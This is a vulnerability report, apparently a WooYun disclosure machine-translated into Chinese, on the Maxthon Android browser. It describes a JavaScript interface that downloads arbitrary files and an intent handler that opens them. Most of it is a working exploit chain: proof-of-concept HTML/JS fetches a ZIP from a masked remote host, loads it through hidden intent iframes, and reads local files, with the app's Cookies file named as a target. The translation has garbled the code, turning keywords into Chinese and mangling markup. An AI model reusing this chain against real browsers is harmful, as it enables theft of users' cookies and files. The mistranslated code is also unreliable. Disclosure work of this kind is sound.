漏洞标题 Android的Maxthon浏览器可以远程将js代码注入文件域,以获取用户敏感信息 相关制造商 傲游 漏洞作者 Fremy 提交时间 2016-03-22 18: 53 公共时间 2016-06-20 19: 10 漏洞类型 设计错误/逻辑缺陷 危险等级 高 自我评估等级 20 漏洞状态 制造商已确认 标签标签 漏洞详细信息 第一个漏洞,浏览器界面没有合理判断可以调用的域,可以使用此界面下载任意文件。 代码路径: com \ mx \ jsobject \ JsObjMxBrowser.class @JavascriptInterface Public void installWebApp(String paramString) { String str=t.a(paramString); P.a(paramString,'/sdcard/webapp /'+ str,null); U.b('/sdcard/webapp /'+ str); D.b()一(); Toast.makeText(this.mContext,'webapp installed',1).show(); } 界面将从指定的远程URL下载ZIP解压缩包,并将数据发布到SD卡中的webapp。如果未插入SD卡,则该文件将被释放到设备存储。 下载PoC: 函数install(){ mmbrowser.installWebApp('http://**。**。**。**/test.zip'); }; 安装(); 影响 1.运行页面
2. webapp文件夹中的数据
第二个漏洞,使用浏览器的intent协议使窗口打开下载的文件 代码路径: com \ mx \ browser \ MxBrowserActivity.class if((paramString.startsWith('intent:'))||(paramString.startsWith('#Intent;'))) { paramString=com.mx.browser.f.o.a(paramString); if(paramString==null){ 打破标签924; } 尝试 { startActivity(中的paramString); 回归真实; } Catch(ActivityNotFoundException paramString) { 对于(;) { paramString.printStackTrace(); } } } . Public static Intent a(String paramString) { Int k=0; Int j=1; Intent localIntent=null; Int i; if(paramString.startsWith('intent:')){ i=1; } 对于(;) { 如果(j!=0){} 尝试 { localIntent=Intent.parseUri(paramString,i); 返回localIntent; } Catch(URISyntaxException paramString) { paramString.printStackTrace(); } i=k; 如果(!paramString.startsWith('#Intent;')) { j=0; i=k; } } 返回null; } 测试意图PoC: < iframe width='0'height='0'src='intent:http://**。**。**。** /#Intent; component=com.mx.browser/com.mx.browser.MxBrowserActivity;端'></iframe中> 测试意图PoC执行效果 在执行意图PoC:之前
执行意图PoC:后
因此,测试打开刚刚使用installapp接口下载到本地的文件,并成功执行:
漏洞证明: 漏洞的完整利用过程如下: 第一步是构建exploit.html并让explore.html读取感兴趣的文件(为了方便测试,读取文件本身的数据): &LT; HTML&GT; &LT;脚本&GT; 警报(123); 函数stealFile(file){ Var xmlHttpReq=new XMLHttpRequest(); xmlHttpReq.onreadystatechange=function(){if(xmlHttpReq.readyState==4){alert(xmlHttpReq.responseText); }}; xmlHttpReq.open('GET',file); xmlHttpReq.send(NULL); }; stealFile('file: ///storage/sdcard/webapp/test/test.html');//file: ///data/data/com.mx.browser/app_webview/Cookies</script> 测试 &LT;/HTML&GT; 然后使用ZIP打包exploit.html 接下来写一下payload.html,这部分主要是让浏览器将exploit.html下载到本地然后执行 &LT; HTML&GT; &LT;脚本&GT; 函数install(){ mmbrowser.installWebApp('http://**。**。**。**/test.zip'); }; 函数open_tab_js_in_sdcard(){ Document.write('&lt; iframe width='0'height='0'src='intent: file: ///storage/sdcard/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;结束 '&GT;&LT;/iframe中&GT;'); }; 函数open_tab_js_in_device(){ Document.write('&lt; iframe width='0'height='0'src='intent: file: ///storage/webapp/test/test.html#Intent;component=com.mx.browser/com。 mx.browser.MxBrowserActivity;结束 '&GT;&LT;/iframe中&GT;'); }; 安装(); 的setTimeout(函数(){},3000); //等待注入js代码进行解压缩,然后在浏览器中使用新选项卡将其打开。 Open_tab_js_in_sdcard(); Open_tab_js_in_device(); &LT; /脚本&GT; &LT;/HTML&GT; 测试URL:http://**。**。**。**/Maxthon_Android_Browser_InjectJSToFile.html 漏洞证书:
浏览器版本:
因为android目录不是很熟悉,所以测试是在BlueStacks下测试的。真正的漏洞也在手机上进行了测试,但目录未正确填充,因此无法正确执行。
修理计划: 版权声明:请注明出处Fremy @乌云